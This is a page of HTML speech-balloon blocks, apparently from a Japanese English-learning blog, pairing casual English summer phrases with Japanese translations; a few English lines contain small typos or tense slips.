<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_young_face-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8f0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d8f0ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m gonna grab a cold beer.</strong><br>冷たいビールを飲もう</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffecdf"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffecdf transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer is all about the vibes.</strong><br>夏は雰囲気がすべてだよね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128a.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s hit the waves!</strong><br>サーフィンしに行こ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5d9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff5d9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I need to get tanned.</strong><br>日焼けしなくちゃ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0f4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e0f4ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>HOT HOT HOT! This summer is gonna be lit!</strong><br>暑い夏がやってきたね！今年の夏を最高なものにするよ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9fff1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d9fff1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s gonna be a scorcher tomorrow, so you better stay home.</strong><br>明日は猛暑になりそうだから、家にいるほうがいいよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d3eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d3eeff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Sou recommend this novel saying “It&#8217;s good for a beach read”.</strong><br>この小説、海辺で読むのにピッタリだよって想が教えてくれの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0f0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff0f0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I miss Cape Cod every summer so I’m gonna watch “The summer I turned pretty” tonight with Cape Codder tonight.</strong><br>夏になるとケイプコッドが恋しくなるから、今夜はケイプコッダー飲みながら『<a href="https://www.amazon.co.jp/%E7%A7%81%E3%81%9F%E3%81%A1%E3%81%AE%E9%9D%92%E3%81%84%E5%A4%8F/dp/B0B3D67VS8" target="_blank" rel="noopener" title=""><strong><span style="text-decoration: underline;">私たちの青い夏</span></strong></a>』を見るんだ<br><sub>アメリカのティーンの間で人気のあるドラマシリーズの原題</sub></p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe7d7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe7d7"></span><span class="vk_balloon_content_after "></span>
<p><strong>A summer to remember:　the summer I fell in love with Ren.</strong><br>忘れられない夏。蓮と恋に落ちた特別な夏</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people._avatar_man_male_teenager_user_-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>This summer was a summer to remember. I traveled to New York and had so much fun!</strong><br>この夏は忘れられない夏になった。ニューヨークに行って、とても楽しかった！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_young_face-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff5d8"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let&#8217;s go for a dip in the pool.</strong><br>プールでひと泳ぎしよう</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_man_afro_african_avatar_male_teenager-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#efefff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #efefff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>We used to go skinny-dipping in the lake.</strong><br>以前は湖で裸で泳いだんだけどね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff2e9"></span><span class="vk_balloon_content_after "></span>
<p><strong>Looking back, my best summer memory is going on a road trip to Arizona with my friends.</strong><br>振り返ると、一番の夏の思い出は友達とアリゾナへロードトリップに行ったことかな</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0fcff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f0fcff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I had a blast this summer! I went to the beach and music festivals, swam in the ocean, and ate lots of delicious food.</strong><br>この夏は最高に楽しかった！ ビーチやフェスに行ったり、美味しいものをたくさん食べたりした</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_bobtay_people_woman_teenager_avatar_smiley-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeff3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffeff3"></span><span class="vk_balloon_content_after "></span>
<p><strong>Tomoko started talking about the memories of a summer.</strong><br>トモコはひと夏の思い出について語り始めたんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/good-dog.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f5fbff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f5fbff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I have a special memory with Ren from the summer.</strong><br>この夏は蓮との特別な思い出があるの</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_adult_people_woman_doctor_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0e4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff0e4"></span><span class="vk_balloon_content_after "></span>
<p><strong>I still remember the reminiscences of a single summer we spent together.</strong><br>私たちが一緒に過ごしたひと夏の思い出がまだ鮮明に思い出せます</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f9e8f1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f9e8f1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I wanna get a good suntan this summer. I got this tanning oil!</strong><br>今年の夏こそ小麦色に日焼けするんだ。日焼けオイル買っちゃった！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128a.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I wanna buy a new fan yesterday.</strong><br>昨日、扇風機を新調したんだ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebffed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ebffed transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>We want to go sunbathing but are afraid of ultraviolet ray.</strong><br>日光浴したいんだけど紫外線が怖いよね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_glasses_people_woman_teenager_avatar-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe8e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe8e8"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’ve got a new swimsuit. I look slim and stylish in it.</strong><br>スリムでオシャレに見える新しい水着を買ったの</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_bobtay_people_woman_teenager_avatar_smiley-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d3ebfe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d3ebfe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t swim so I need a swim ring/ swin tube/ inflatable tube.</strong><br>泳げないから浮き輪が必要なの</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I dropped my wrist watch in the pool while I was swimming lsst night but guess it’s ok because It was waterproof.</strong><br>昨夜泳いでいたら腕時計をプールに落としちゃったんけど防水だから大丈夫だと思うんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f7ebff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f7ebff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Uses a parasol/umbrella to keep out the sun.</strong><br>日差しを避けたければ日傘を使いなよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2e2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe2e2"></span><span class="vk_balloon_content_after "></span>
<p><strong>My boyfriend is a lifeguard, I know he&#8217;s got girls falling all over him.</strong><br>私の彼氏ってモテモテのライフガードなの</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f8dff1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f8dff1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I collected seashells when I was a kid.</strong><br>子供の頃貝殻を集めてたの</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#eefff8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #eefff8"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s go to mountain to see fireflies!</strong><br>山に蛍見に行こうよ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f9ffe0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f9ffe0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>There is nothing I hate more than being bitten by mosquitos. I’m so itchy from being bitten.</strong><br>蚊って本当に嫌い！刺されると痒いし</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5da"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff5da"></span><span class="vk_balloon_content_after "></span>
<p><strong>I promised my son I&#8217;d look for some beetles, but I can&#8217;t find any.</strong><br>息子にカブトムシを捕まえてあげるって約束したんだけど、見つからないんだよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I went to see sunflowers in Hokkaido last year.</strong><br>去年、北海道にひまわり見に行ったんだよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I love the sound of wind belles.</strong><br>風鈴の音が大好きなんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e4fff4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e4fff4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Speaking of summer, watermelon is the one. The only drawback is that the skin/ rind is thick.</strong><br>夏って言えばすいかだよね。皮が厚いのが玉に瑕だよね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>SRSLY, this summer has been way too hot!</strong><br>マジで今年の夏は暑すぎる！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8f1ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d8f1ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This heat is getting to me.<br>This heat is too much for me.</strong><br>この暑さはもうたくさんだ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dffff3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #dffff3"></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s fricking hot!</strong><br>ガチで暑いぜ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedf1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffedf1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This summer is literally hot!</strong><br>マジで暑いね！ </p>
</div></div></div>



<p></p>



